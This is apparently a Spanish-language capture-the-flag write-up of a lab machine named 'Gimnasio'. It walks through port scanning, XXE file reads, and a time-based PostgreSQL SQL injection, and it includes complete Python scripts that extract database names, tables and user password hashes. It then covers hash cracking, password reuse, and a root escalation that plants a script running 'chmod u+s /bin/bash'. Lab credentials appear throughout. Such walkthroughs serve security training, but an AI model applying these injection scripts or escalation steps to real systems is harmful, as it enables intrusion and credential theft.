Gimnasio

Gimnasio
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Profesional 24 Febrero 2025 D4redevil

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 192.168.1.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-23 11:30 -03
Initiating ARP Ping Scan at 11:30
Scanning 192.168.1.20 [1 port]
Completed ARP Ping Scan at 11:30, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:30
Scanning 192.168.1.20 [65535 ports]
Discovered open port 80/tcp on 192.168.1.20
Discovered open port 22/tcp on 192.168.1.20
Discovered open port 3000/tcp on 192.168.1.20
Completed SYN Stealth Scan at 11:30, 19.98s elapsed (65535 total ports)
Nmap scan report for 192.168.1.20
Host is up, received arp-response (0.00068s latency).
Scanned at 2025-02-23 11:30:37 -03 for 20s
Not shown: 54254 closed tcp ports (reset), 11278 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 64
80/tcp   open  http    syn-ack ttl 64
3000/tcp open  ppp     syn-ack ttl 63
MAC Address: 08:00:27:62:F9:FD (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 20.13 seconds
           Raw packets sent: 103833 (4.569MB) | Rcvd: 54260 (2.170MB)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p22,80,3000 -oN servicesScan -vvv 192.168.1.20
# Nmap 7.94SVN scan initiated Sun Feb 23 11:31:53 2025 as: /usr/lib/nmap/nmap -sCV -p22,80,3000 -oN servicesScan -vvv 192.168.1.20
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+)&nbsp;&nbsp;&nbsp;'
Nmap scan report for 192.168.1.20 (192.168.1.20)
Host is up, received arp-response (0.0022s latency).
Scanned at 2025-02-23 11:31:54 -03 for 87s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 b3:83:ba:3f:2b:09:07:47:c4:30:37:d8:d2:66:bc:d7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBANlkuJBwP30k42/ZjB2m3hLHfE5YmonPqzq2NLUrR1b6mXzHaibNlhVk3gCgZUU8sKjD8lC33OrIhDrl8OBswI=
|   256 01:77:26:20:16:a2:f6:5e:4d:22:4f:cc:ab:dd:ae:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGaKP7drJWuD6e20O2MIw+Df6QbvXz4zvMLzBEVjEz7Q
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Neogym
|_http-server-header: Apache/2.4.62 (Debian)
3000/tcp open  ppp?    syn-ack ttl 63
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=88a2daff74af1bb1; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=KdxLis1Z0aVtqnyOaqFHtKPLSfA6MTc0MDMyMTE1ODk1OTA0ODI1OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 23 Feb 2025 14:32:38 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" data-theme="gitea-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL25lb2d5bS50aGw6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL25lb2d5bS50aGw6MzAwMC9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpem
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=71cac25d221e10e7; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=xEQchpv-pxPOYntQKJzc_BoAhK86MTc0MDMyMTE2NDAwNzk4MzgwMQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 23 Feb 2025 14:32:44 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=2/23%Time=67BB3160%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,2000,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
SF:ea=88a2daff74af1bb1;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=KdxLis1Z0aVtqnyOaqFHtKPLSfA6MTc0MDMyMTE1ODk1OTA0ODI1OQ;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2023\x20Feb\x202025\x2014:32:38\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20data-theme=
SF:\"gitea-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"widt
SF:h=device-width,\x20initial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x
SF:20a\x20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"
SF:data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG
SF:9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic
SF:3RhcnRfdXJsIjoiaHR0cDovL25lb2d5bS50aGw6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoi
SF:aHR0cDovL25lb2d5bS50aGw6MzAwMC9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6Iml
SF:tYWdlL3BuZyIsInNpem")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Me
SF:thod\x20Not\x20Allowed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Cont
SF:rol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nS
SF:et-Cookie:\x20i_like_gitea=71cac25d221e10e7;\x20Path=/;\x20HttpOnly;\x2
SF:0SameSite=Lax\r\nSet-Cookie:\x20_csrf=xEQchpv-pxPOYntQKJzc_BoAhK86MTc0M
SF:DMyMTE2NDAwNzk4MzgwMQ;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20Sam
SF:eSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2023\x20F
SF:eb\x202025\x2014:32:44\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPR
SF:equest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest");
MAC Address: 08:00:27:62:F9:FD (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 23 11:33:21 2025 -- 1 IP address (1 host up) scanned in 88.53 seconds

Explotación inicial

Registramos el dominio en nuestro archivo /etc/hosts:

echo "192.168.1.20 neogym.thl" >> /etc/hosts

Gitea (3000)

Si ingresamos al puerto 3000, nos encontramos con una instancia de Gitea.

Gitea es una plataforma de gestión de repositorios Git, similar a GitHub, que permite a los usuarios alojar y administrar proyectos de código fuente. Es de código abierto, ligera y fácil de instalar, ofreciendo funcionalidades como control de versiones, colaboración en equipo, y seguimiento de problemas.

Gitea

Vemos que no se listan usuarios ni tampoco repositorios públicos.

Gitea

HTTP (80)

Si ingresamos a la web que esta corriendo bajo el puerto 80, no encontramos con una web de un gimnasio.

Web

Lo primero que haremos será registrar en nuestro archivo /etc/hots el dominio neogym.thl.

Web

La web cuenta con varias secciones, entre ellas la sección de Contacto.

Web

Interceptamos la petición con Burpsuite.

Burpsuite - Proxy

La enviamos al Repeater.

Burpsuite - Repeater

Podemos observar que los datos se estan enviando en un formato XML.

Burpsuite - Repeater - XML

Vemos que al enviar la petición, el servidor nos reponde con un mensaje donde se incluye el nombre que ingresamos en el formulario.

Podemos manipular estos para leer archivos del sistema.

Burpsuite - Repeater - XML

Podemos intentar leer alguna clave id_rsa que nos permita conectarnos al sistema, pero no logramos obtener nada.

Leemos el archivo .bash_history del usuario steve, y nos encontramos con que existe un archivo credenciales.txt

Burpsuite - Repeater - XML

Burpsuite - Repeater - XML

En principio podemos pensar que estas credenciales son validas para conectarnos por ssh, pero no. Debemos realizar fuzzing de subdominios para encontrar el sistema de gestión de socios.

steve:Sup3rP4$sw0rd123!
ffuf -fl 522 -c -u 'http://neogym.thl' -H 'Host: FUZZ.neogym.thl' -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20

Web Fuzzing

Registramos el subdominio en nuetro archivo hosts

echo "192.168.1.20 admin.neogym.thl" >> /etc/hosts

Accedemos al sitio web.

Panel Admin

Utilizamos las credenciales de steve para ingresar al sistema.

Panel Admin

Panel Admin

Vemos que existe un formulario para cargar nuevos socios.

Panel Admin

Registramos un socio de prueba.

Panel Admin

Panel Admin

Genial.

Este formulario es vulnerable a SQL Injection y el motor de base de datos es Postgres SQL.

Tramitamos la petición por Burpsuite.

Burpsuite - Proxy

La enviamos al Repeater.

Utilizamos el siguiente payload para enviar en el campo address.

'); SELECT 1 FROM pg_sleep(5)--

Burpsuite - Repeater

Burpsuite - Repeater

SQL Injection basada en tiempo

Enumeramos las bases de datos.

Payload

select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1

Probamos ingresando la letra a como primer caracter de la primera base de datos.

Sqli

Vemos que el tiempo de respuesta es de 1 segundo.

Sqli

Segumios probando caracteres hasta llegar a la letra p, la cual nos da un tiempo de respuesta de 6 segundos, los cual nos indica que el nombre de la primera base de datos empieza por la letra p.

Sqli

Sqli

Vamos a automatizar este proceso usando python.

PayloadAllTheThings Si quieres conocer más sobre los payloads utilizados puedes vistitar el siguiente enlace: PayloadAllTheThings - Postgresql Time-Based

import time
import string
import requests
from pwn import *

def get_databases():
    url = 'http://admin.neogym.thl/index.php'

    p1 = log.progress("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Bases de datos")

    characters = string.ascii_lowercase + string.digits + ','

    extracted_info = ''

    last_position = 0

    for position in range(1, 60):
        for character in characters:
            cookies = {"PHPSESSID": 'g8ltlqk0obi5j0v6a7g57uql5k'}

            payload = "'); select case when substring(string_agg(datname, ','),{},1)='{}' then pg_sleep(2) else pg_sleep(0) end from pg_database --".format(position, character)
            data = {
                'first_name': 'Prueba',
                'last_name': 'test',
                'email': 'test@mail.com',
                'phone': '123456789',
                'sex': 'M',
                'height': 186,
                'weight': 80,
                'membership_type': 'Mensual',
                'address': payload
            }

            p1.status(payload)

            res = requests.post(url, data=data, cookies=cookies)

            if res.elapsed.total_seconds() > 2:
                extracted_info += character
                p2.status(extracted_info)
                break

if __name__ == '__main__':
    get_databases()

Sqli

Obtener las tablas de la base de datos neogym

(env)root@kali:/home/d4redevil/thl/Gimnasio/exploits# python3 exploit.py
[] Iniciando proceso de fuerza bruta: '); select case when substring(string_agg(table_name, ','),31,1)='g' then pg_sleep(2) else pg_sleep(0) end from information_schema.tables where table_catalog='neogym'--
[] Tablas: users,gym_clients

Obtener las columnas de la tabla users

Sqli

Obtener los usuarios

Sqli

El script completo es el siguiente:

import time
import string
import requests
from pwn import *

def get_databases():
    url = 'http://admin.neogym.thl/index.php'

    p1 = log.progress("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Bases de datos")

    characters = string.ascii_lowercase + string.digits + ','

    extracted_info = ''

    last_position = 0

    for position in range(1, 60):
        for character in characters:
            cookies = {"PHPSESSID": 'g8ltlqk0obi5j0v6a7g57uql5k'}

            payload = "'); select case when substring(string_agg(datname, ','),{},1)='{}' then pg_sleep(2) else pg_sleep(0) end from pg_database --".format(position, character)
            data = {
                'first_name': 'Prueba',
                'last_name': 'test',
                'email': 'test@mail.com',
                'phone': '123456789',
                'sex': 'M',
                'height': 186,
                'weight': 80,
                'membership_type': 'Mensual',
                'address': payload
            }

            p1.status(payload)

            res = requests.post(url, data=data, cookies=cookies)

            if res.elapsed.total_seconds() > 2:
                extracted_info += character
                p2.status(extracted_info)
                break



def get_tables():
    url = 'http://admin.neogym.thl/index.php'

    p1 = log.progress("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Tablas")

    characters = string.ascii_lowercase + string.digits + ',_'

    extracted_info = ''

    last_position = 0

    for position in range(1, 60):
        for character in characters:
            cookies = {"PHPSESSID": 'g8ltlqk0obi5j0v6a7g57uql5k'}

            payload = "'); select case when substring(string_agg(table_name, ','),{},1)='{}' then pg_sleep(2) else pg_sleep(0) end from information_schema.tables where table_catalog='neogym'--".format(position, character)
            data = {
                'first_name': 'Prueba',
                'last_name': 'test',
                'email': 'test@mail.com',
                'phone': '123456789',
                'sex': 'M',
                'height': 186,
                'weight': 80,
                'membership_type': 'Mensual',
                'address': payload
            }

            p1.status(payload)

            res = requests.post(url, data=data, cookies=cookies)

            if res.elapsed.total_seconds() > 2:
                extracted_info += character
                p2.status(extracted_info)
                break

def get_columns():
    url = 'http://admin.neogym.thl/index.php'

    p1 = log.progress("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Columnas")

    characters = string.ascii_lowercase + string.digits + ',_'

    extracted_info = ''

    last_position = 0

    for position in range(1, 180):
        for character in characters:
            cookies = {"PHPSESSID": 'g8ltlqk0obi5j0v6a7g57uql5k'}

            payload = "'); select case when substring(string_agg(column_name, ','),{},1)='{}' then pg_sleep(2) else pg_sleep(0) end from information_schema.columns where table_name='users' and table_catalog='neogym'--".format(position, character)
            data = {
                'first_name': 'Prueba',
                'last_name': 'test',
                'email': 'test@mail.com',
                'phone': '123456789',
                'sex': 'M',
                'height': 186,
                'weight': 80,
                'membership_type': 'Mensual',
                'address': payload
            }

            res = requests.post(url, data=data, cookies=cookies)

            if res.elapsed.total_seconds() > 2:
                extracted_info += character
                p2.status(extracted_info)
                break


def get_data():
    url = 'http://admin.neogym.thl/index.php'

    p1 = log.progress("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos")

    characters = string.printable

    extracted_info = ''

    last_position = 0

    for position in range(1, 300):
        for character in characters:
            cookies = {"PHPSESSID": 'g8ltlqk0obi5j0v6a7g57uql5k'}

            payload = "'); select case when substring(string_agg(username || ':' || password, ','),{},1)='{}' then pg_sleep(2) else pg_sleep(0) end from users--".format(position, character)
            data = {
                'first_name': 'Prueba',
                'last_name': 'test',
                'email': 'test@mail.com',
                'phone': '123456789',
                'sex': 'M',
                'height': 186,
                'weight': 80,
                'membership_type': 'Mensual',
                'address': payload
            }

            p1.status(character)

            res = requests.post(url, data=data, cookies=cookies)

            if res.elapsed.total_seconds() > 2:
                extracted_info += character
                p2.status(extracted_info)
                break



if __name__ == '__main__':
    #get_databases()
    #get_tables()
    #get_columns()
    get_data()

Obviamente el script anterior es totalmente personalizable y te invito a que pruebes modificarlo y optimizarlo a tu manera.

Rompemos el hash de la contraseña de david.

David

david:manchesterunited

Si recordamos, no existia ningun usuario llamado david en el sistema, pero puede ser que la contraseña sea reutilizada por alguno de los otros usuarios.

Realizamos fuerza bruta por ssh con hydra.

David

La contraseña es reutilizada por el usuario james.

david:manchesterunited

Enumeración / Movimiento lateral

james -> kyle

James

Si realizamos una enumeración básica del sistema, encontramos que podemos ejecutar con sudo como el usuario kyle el binario perl.

https://gtfobins.github.io/gtfobins/perl/#sudo

Nos movemos laterlamente al usuario kyle.

Kyle

Leemos el flag de user.txt

Kyle

Elevación de privilegios

Si realizamos una enumeración básica del sistema, encontramos que podemos ejecutar un script de python como root.

/opt/scripts/systemcheck.py /opt/scripts/systemcheck.py

Si ejecutamos container-ps, vemos que lista los contenedores de docker en ejecución y uno de ellos podemos ver que esta corriendo en el puerto 3000 el cual corresponde a Gitea. ``

Por otra parte, tenemos el contenedor de mysql corriendo en el puerto 3306.

Si miramos con el comando container-inspect sobre el cualquiera de los contenedores, podemos encontrar las variables de entorno con las credenciales para conectarnos a la base de datos.

sudo /usr/bin/python3 /opt/scripts/systemcheck.py container-inspect gitea

Base de datos

gitea:rIS2i8FdX89jHqkyWy4

Nos conectamos a la base de datos.

Base de datos

Listamos los usuarios.

Base de datos

Rompemos el hash con hashcat.

Para ello, haremos lo siguiente:

Creamos un archivo llamado data con el siguiente contenido:

93725bcf4547d4a48bbf1db5388d84384d0c2d5d2d300abcf88f27bda8ca43343bdbdb907e821c7773b3850fe13e2603da3c | f439c46d381ae6790b9e6ce0a44101d5 | administrador

Luego, ejecutamos el siguiente comando para crear un formato valido:

cat data | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes

Expliquemos que esta realizando este one-liner.

En primer lugar, se está pasando un texto como entrada estándar que contiene tres partes separadas por el símbolo |:

  1. Un hash en formato hexadecimal.
  2. Un salt (en formato hexadecimal).
  3. El nombre de usuario.

Luego, viene el bucle while:

| while read data; do

El while read data lee línea por línea la entrada que se le pasa (en este caso el texto que fue pasado desde el archivo data), y cada línea se guarda en la variable data.

Dentro del bucle, se realiza lo siguiente:

  1. Obtención del digest (hash):
digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64)
  • cut -d'|' -f1: Este comando usa | como delimitador y toma el primer campo de la línea (el hash hexadecimal).
  • xxd -r -p: Convierte el valor hexadecimal en datos binarios.
  • base64: Convierte esos datos binarios a Base64, que es un formato común para almacenar datos binarios de manera textual.

  • Obtención del salt:

salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64)
  • Similar al paso anterior, pero esta vez toma el segundo campo de la entrada, que es el salt (también en formato hexadecimal) y lo convierte a Base64.

  • Obtención del name (nombre de usuario):

name=$(echo $data | cut -d'|' -f 3)

El comando anterior toma el tercer campo (el nombre de usuario) de la entrada.

Después de extraer y convertir los datos, el script genera una cadena de texto con el formato siguiente:

echo "${name}:sha256:50000:${salt}:${digest}"

Este formato es típico de las contraseñas almacenadas en Gitea, donde:

  • ${name} es el nombre de usuario.
  • sha256 es el algoritmo de hash utilizado.
  • 50000 es el número de iteraciones para el algoritmo de hash (esto es común en la generación de hashes de contraseñas para hacerlo más seguro). Este campo podemos determinarlo al obtener el campo passwd_hash_algo lo que sugiere que las iteraciones son 50000 (pbkdf2$50000$50).
  • ${salt} es el salt (usado para hacer más resistente al ataque de diccionario).
  • ${digest} es el hash de la contraseña.

El comando tee gitea.hashes recibe la salida del bucle y la guarda en un archivo llamado gitea.hashes. Al mismo tiempo, muestra la salida en la consola.

El archivo gitea.hashes:

administrador:sha256:50000:9DnEbTga5nkLnmzgpEEB1Q==:k3Jbz0VH1KSLvx21OI2EOE0MLV0tMAq8+I8nvajKQzQ729uQfoIcd3OzhQ/hPiYD2jw=

Con el formato adecuado, Hashcat podrá reconocer estos hashes y comenzará a procesarlos para intentar descifrarlos. La clave es asegurarse de que el formato sea compatible con los requerimientos de Hashcat. En este caso, el hash incluye el nombre de usuario seguido de un : (dos puntos), lo cual es esencial para que Hashcat identifique correctamente la estructura del hash. Por lo tanto, debemos usar la opción --user en Hashcat, para que pueda asociar el nombre de usuario con el hash correspondiente y procesarlo correctamente.

Rompemos el hash con hashcat:

hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user

Contraseña de administrador

administrador:metallica

Iniciamos sesión en Gitea.

Gitea

Gitea

Vemos que el usuario administrador tiene un repositorio llamado scripts

Gitea

Si analizamos los scripts en el respositorio, vemos que en el script full_check.sh hay algo que nos llama la atención.

Gitea

La función start_server esta ejecutando un script llamado start_server.sh pero lo particular de esto es que lo esta ejecutando de forma relativa, lo cual nos hace pensar que podemos abusar de esto para escalar nuestros privilegios.

Para hacer esto, nos moveremos a un directorio donde tengamos capacidad de escritura y creamos un script llamado start_server.sh con el siguiente contenido.

#!/bin/bash

chmod u+s /bin/bash

Asignamos permisos de ejecución.

chmod u+x start_server.sh

Y por ultimo ejecutamos la opción full-check, la cual se encarga de ejecutar el script full_check.sh.

Escalación de privilegios

De esta forma, logramos escalar nuestros privilegios.

Escalación de privilegios

Post Explotación

Por ultimo leemos el flag de root.txt.

Flag de root